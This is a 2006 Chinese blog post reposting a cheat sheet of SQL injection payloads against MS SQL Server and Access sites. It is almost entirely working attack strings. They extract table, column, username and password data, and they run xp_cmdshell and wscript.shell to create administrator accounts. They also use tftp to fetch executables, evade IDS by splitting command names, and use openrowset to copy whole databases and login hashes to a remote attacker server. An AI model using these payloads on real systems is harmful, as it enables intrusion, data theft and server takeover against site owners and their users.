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Sql注射总结(转)

sql注射总结(早源于or1=1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn odbc连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个pid
例如:
sp_addextendedproc xp_webserver, c:tempxp_foo.dll
exec xp_webserver
sp_dropextendedproc xp_webserver
bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar
group by users.id having 1=1-
group by users.id, users.username, users.password, users.privs having 1=1-
; insert into users values( 666, attacker, foobar, 0xffff )-
union select top 1 column_name from information_schema.columns where table_name=logintable-
union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-
union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-
union select top 1 login_name from logintable-
union select top 1 password from logintable where login_name=rahul--
构造语句:查询是否存在xp_cmdshell
union select @@version,1,1,1--
and 1=(select @@version)
and sa=(select system_user)
union select ret,1,1,1 from foo--
union select min(username),1,1,1 from users where username > a-
union select min(username),1,1,1 from users where username > admin-
union select password,1,1,1 from users where username = admin--
and user_name()=dbo
and 0<>(select user_name()-
; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5245886 /add
and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)
;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=x%20and%20name=xp_cmdshell)
and 1=(select is_srvrolemember(sysadmin)) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
创建一个虚拟目录e盘:
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w 默认 web 站点 -v e,e:
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin
and uid>(str(id))) 暴到uid的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊,access也好用
暴库特殊技巧::%5c= 或者把/和 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1
;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)
政策法规&infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20wscript.shell,@s%20out;exec%20sp_oamethod%20@s,run,null,cmd.exe%20/c%20ping%201.1.1.1;--
得到了web路径d:xxxx,接下来:
;use ku1;--
;create table cmd (str image);--
传统的存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5258 /add
;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net localgroup administrators swap/add
; exec master..xp_cmdshell tftp -i youip get file.exe-
declare @a sysname set @a=xp_ cmdshell exec @a dir c:
declare @a sysname set @a=xp _cm dshell exec @a dir c:
;declare @a;set @a=db_name();backup database @a to disk=你的ip你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)
传统查询构造:
select * from news where id=... and topic=... and .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的id
ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
象下面这样就可以得到第二个表的名字了
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
sp_addextendedproc xp_webserver, c:tempxp_foo.dll
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc xp_webserver
insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, admin--, password, 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍:
a) id=49 这类注入的参数是数字型,sql语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为id=49 and [查询条件],即是生成语句:
select * from 表名 where 字段=49 and [查询条件]
(b) class=连续剧 这类注入的参数是字符型,sql语句原貌大致概如下:
select * from 表名 where 字段=连续剧
注入的参数为class=连续剧 and [查询条件] and = ,即是生成语句:
select * from 表名 where 字段=连续剧 and [查询条件] and =
(c) 搜索时没过滤参数的,如keyword=关键字,sql语句原貌大致如下:
select * from 表名 where 字段like %关键字%
注入的参数为keyword= and [查询条件] and %25=, 即是生成语句:
select * from 表名 where字段like % and [查询条件] and %=%
;;and (select top 1 name from sysobjects where xtype=u and status>0)>0
sysobjects是sqlserver的系统表,存储着所有的表名、视图、约束及其它对象,xtype=u and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select top 1 col_name(object_id(表名),1) from sysobjects)>0
从⑤拿到表名后,用object_id(表名)获取表名对应的内部id,col_name(表名id,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容:主要是方便输入。
〈iframe name=p src=# width=800 height=350 frameborder=0>

〈input name=id value=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- style=width:750>
〈input type=submit value=>>>>
〈input type=hidden name=fno value=2, 3>

枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...)
通过sqlserver注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是sysadmin组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过ids的检测[使用变量]
declare @a sysname set @a=xp_ cmdshell exec @a dir c:
declare @a sysname set @a=xp _cm dshell exec @a dir c:
1、 开启远程数据库
基本语法
select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 )
参数: (1) oledb provider name
2、 其中连接字符串参数可以是任何和端口用来连接,比如
select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table
要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。
基本语法:
insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的ip地址和端口,指向需要的地方,比如:
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2
insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns)
select * from user_database.dbo.syscolumns
之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2
......
3、 复4、 制哈西表(hash)
这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,6、 就可以进行暴力破解。这需要一点运气和大量时间。
遍历目录的方法:
先创建一个临时表:temp
5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表
5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树结构,并寸入temp表中
5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文件的内容
5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc
5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree适用权限public)
写入表:
语句1: and 1=(select is_srvrolemember(sysadmin));--
语句2: and 1=(select is_srvrolemember(serveradmin));--
语句3: and 1=(select is_srvrolemember(setupadmin));--
语句4: and 1=(select is_srvrolemember(securityadmin));--
语句5: and 1=(select is_srvrolemember(securityadmin));--
语句6: and 1=(select is_srvrolemember(diskadmin));--
语句7: and 1=(select is_srvrolemember(bulkadmin));--
语句8: and 1=(select is_srvrolemember(bulkadmin));--
语句9: and 1=(select is_member(db_owner));--
把路径写到表中去:
;create table dirs(paths varchar(100), id int)-
;insert  dirs exec master.dbo.xp_dirtree c:-
 and 0<>(select top 1 paths from dirs)-
 and 0<>(select top 1 paths from dirs where paths not in(@inetpub))-
语句:;create table dirs1(paths varchar(100), id int)--
语句:;insert dirs exec master.dbo.xp_dirtree e:web--
语句: and 0<>(select top 1 paths from dirs1)-
把数据库备份到网页目录:下载
;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20t%20order%20by%20id%20desc)
and%201=(select%20top%201%20col_name(object_id(user_login),1)%20from%20sysobjects) 参看相关表。
and 1=(select%20user_id%20from%20user_login)
and%200=(select%20user%20from%20user_login%20where%20user>1)

posted on 2006-09-30 09:06 liaojiyong 阅读(329) 评论(0)  编辑  收藏 所属分类: MSSQL


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